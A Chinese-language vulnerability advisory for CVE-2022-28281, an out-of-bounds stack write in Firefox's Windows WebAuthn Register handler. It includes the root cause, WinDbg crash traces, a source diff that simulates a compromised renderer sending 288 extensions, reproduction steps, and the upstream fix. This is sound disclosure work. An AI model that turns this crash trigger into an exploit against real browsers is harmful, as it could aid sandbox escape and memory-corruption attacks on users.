CVE-2022-28281: Mozilla Firefox 因意外的 WebAuthn 扩展导致越界写入

这是一个可以从受损的 Windows Firefox 渲染器进程中触发的错误。如果一个受损的内容进程在 Register 命令中向父进程发送了意外数量的 WebAuthn 扩展，就会发生越界写入，导致内存损坏和潜在的可利用崩溃。

该漏洞已被分配为 CVE-2022-28281，在 Firefox 99 中修复，并在 mfsa2022-13 中有文档记录。

根因分析

问题出现在 WinWebAuthnManager::Register 函数中，具体在以下行：

void WinWebAuthnManager::Register(
    PWebAuthnTransactionParent* aTransactionParent,
    const uint64_t& aTransactionId, const WebAuthnMakeCredentialInfo& aInfo) {
// ...
  WEBAUTHN_EXTENSION rgExtension[1] = {};
// ...
    for (const WebAuthnExtension& ext : extra.Extensions()) {
      MOZ_ASSERT(cExtensions <
                 (int)(sizeof(rgExtension) / sizeof(rgExtension[0])));

      if (ext.type() == WebAuthnExtension::TWebAuthnExtensionHmacSecret) {
        HmacCreateSecret =
            ext.get_WebAuthnExtensionHmacSecret().hmacCreateSecret() == true;
        if (HmacCreateSecret) {
          rgExtension[cExtensions].pwszExtensionIdentifier =
              WEBAUTHN_EXTENSIONS_IDENTIFIER_HMAC_SECRET;
          rgExtension[cExtensions].cbExtension = sizeof(BOOL);
          rgExtension[cExtensions].pvExtension = &HmacCreateSecret;
          cExtensions++;
        }
      }

受损的渲染器进程可以提供超过 1 个扩展，导致上述代码破坏相邻的栈内存。我认为仅通过普通 JavaScript 无法达到这种状态。

以下是当触发栈防护页（发送大量扩展时）时的崩溃情况：

0:007> g
(1920.298c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
xul!mozilla::dom::WinWebAuthnManager::Register+0x30d:
00007ffc`bd4b7d9d 4c898cd4f0010000 mov     qword ptr [rsp+rdx*8+1F0h],r9 ss:0000009d`48300000=????????????????

0:007> kp
 # Child-SP          RetAddr               Call Site
00 0000009d`482fe4c0 00007ffc`bd4b7a6d     xul!mozilla::dom::WinWebAuthnManager::Register(class mozilla::dom::PWebAuthnTransactionParent * aTransactionParent = <Value unavailable error>, unsigned int64 * aTransactionId = 0x0000009d`482fe778, class mozilla::dom::WebAuthnMakeCredentialInfo * aInfo = <Value unavailable error>)+0x30d [c:\mozilla-source\mozilla-unified\dom\webauthn\WinWebAuthnManager.cpp @ 301] 
01 0000009d`482fe710 00007ffc`bb7f1f88     xul!mozilla::dom::WebAuthnTransactionParent::RecvRequestRegister(unsigned int64 * aTransactionId = <Value unavailable error>, class mozilla::dom::WebAuthnMakeCredentialInfo * aTransactionInfo = <Value unavailable error>)+0x1d [c:\mozilla-source\mozilla-unified\dom\webauthn\WebAuthnTransactionParent.cpp @ 27] 
02 0000009d`482fe740 0000009d`482fe680     xul!mozilla::dom::PWebAuthnTransactionParent::OnMessageReceived(class IPC::Message * msg__ = 0x0000009d`482fe680)+0x1c8 [c:\mozilla-source\mozilla-unified\obj-x86_64-pc-mingw32\ipc\ipdl\PWebAuthnTransactionParent.cpp @ 257] 

复现信息

我已确认该问题存在于最新的可用源码树中；以下是我同步到的源码树位置：

$ hg log
changeset:   679353:0fae6a6b254a
bookmark:    autoland
tag:         tip
user:        Jamie Nicol <[email protected]>
date:        Tue Feb 15 20:26:12 2022 +0000
summary:     Bug 1755375 - Don't generate crash reports when android kills the GPU process. r=agi

该漏洞仅影响 Windows，且不需要任何特定硬件即可复现。

复现步骤

• 将以下差异应用到最新的 Firefox 检出：

$ hg diff
diff --git a/dom/webauthn/WebAuthnManager.cpp b/dom/webauthn/WebAuthnManager.cpp
--- a/dom/webauthn/WebAuthnManager.cpp
+++ b/dom/webauthn/WebAuthnManager.cpp
@@ -367,16 +367,19 @@ already_AddRefed<Promise> WebAuthnManage

   if (!MaybeCreateBackgroundActor()) {
     promise->MaybeReject(NS_ERROR_DOM_OPERATION_ERR);
     return promise.forget();
   }

   // TODO: Add extension list building
   nsTArray<WebAuthnExtension> extensions;
+  for (size_t i = 0; i < 288; i++) {
+    extensions.AppendElement(WebAuthnExtensionHmacSecret(true));
+  }

   // <https://fidoalliance.org/specs/fido-v2.0-ps-20190130/fido-client-to-authenticator-protocol-v2.0-ps-20190130.html#sctn-hmac-secret-extension>
   if (aOptions.mExtensions.mHmacCreateSecret.WasPassed()) {
     bool hmacCreateSecret = aOptions.mExtensions.mHmacCreateSecret.Value();
     if (hmacCreateSecret) {
       extensions.AppendElement(WebAuthnExtensionHmacSecret(hmacCreateSecret));
     }
   }

• 重新构建并在调试器下运行浏览器，或者将调试器附加到浏览器进程（windbgx -p <pid>）

$ ./mach run --debug

• 运行一个本地 HTTP 服务器来提供 trigger.html

$ python3 -m http.server

• 访问 http://localhost:8000/trigger.html
• 浏览器进程应会崩溃，信息类似于下面：

0:007> g
(1920.298c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
xul!mozilla::dom::WinWebAuthnManager::Register+0x30d:
00007ffc`bd4b7d9d 4c898cd4f0010000 mov     qword ptr [rsp+rdx*8+1F0h],r9 ss:0000009d`48300000=????????????????

0:007> kp
 # Child-SP          RetAddr               Call Site
00 0000009d`482fe4c0 00007ffc`bd4b7a6d     xul!mozilla::dom::WinWebAuthnManager::Register(class mozilla::dom::PWebAuthnTransactionParent * aTransactionParent = <Value unavailable error>, unsigned int64 * aTransactionId = 0x0000009d`482fe778, class mozilla::dom::WebAuthnMakeCredentialInfo * aInfo = <Value unavailable error>)+0x30d [c:\mozilla-source\mozilla-unified\dom\webauthn\WinWebAuthnManager.cpp @ 301] 
01 0000009d`482fe710 00007ffc`bb7f1f88     xul!mozilla::dom::WebAuthnTransactionParent::RecvRequestRegister(unsigned int64 * aTransactionId = <Value unavailable error>, class mozilla::dom::WebAuthnMakeCredentialInfo * aTransactionInfo = <Value unavailable error>)+0x1d [c:\mozilla-source\mozilla-unified\dom\webauthn\WebAuthnTransactionParent.cpp @ 27] 
02 0000009d`482fe740 0000009d`482fe680     xul!mozilla::dom::PWebAuthnTransactionParent::OnMessageReceived(class IPC::Message * msg__ = 0x0000009d`482fe680)+0x1c8 [c:\mozilla-source\mozilla-unified\obj-x86_64-pc-mingw32\ipc\ipdl\PWebAuthnTransactionParent.cpp @ 257] 

修复

该漏洞已通过以下提交 6afb1478d46a 修复：

--- a/dom/webauthn/WinWebAuthnManager.cpp
+++ b/dom/webauthn/WinWebAuthnManager.cpp
@@ -282,20 +282,22 @@ void WinWebAuthnManager::Register(
       case AttestationConveyancePreference::None:
         winAttestation = WEBAUTHN_ATTESTATION_CONVEYANCE_PREFERENCE_NONE;
         break;
       default:
         winAttestation = WEBAUTHN_ATTESTATION_CONVEYANCE_PREFERENCE_ANY;
         break;
     }
 
+    if (extra.Extensions().Length() > (int)(sizeof(rgExtension) / sizeof(rgExtension[0]))) {
+      nsresult aError = NS_ERROR_DOM_INVALID_STATE_ERR;
+      MaybeAbortRegister(aTransactionId, aError);
+      return;
+    }
     for (const WebAuthnExtension& ext : extra.Extensions()) {
-      MOZ_ASSERT(cExtensions <
-                 (int)(sizeof(rgExtension) / sizeof(rgExtension[0])));
-
       if (ext.type() == WebAuthnExtension::TWebAuthnExtensionHmacSecret) {
         HmacCreateSecret =
             ext.get_WebAuthnExtensionHmacSecret().hmacCreateSecret() == true;
         if (HmacCreateSecret) {
           rgExtension[cExtensions].pwszExtensionIdentifier =
               WEBAUTHN_EXTENSIONS_IDENTIFIER_HMAC_SECRET;
           rgExtension[cExtensions].cbExtension = sizeof(BOOL);
           rgExtension[cExtensions].pvExtension = &HmacCreateSecret;

作者

• Axel '0vercl0k' Souchet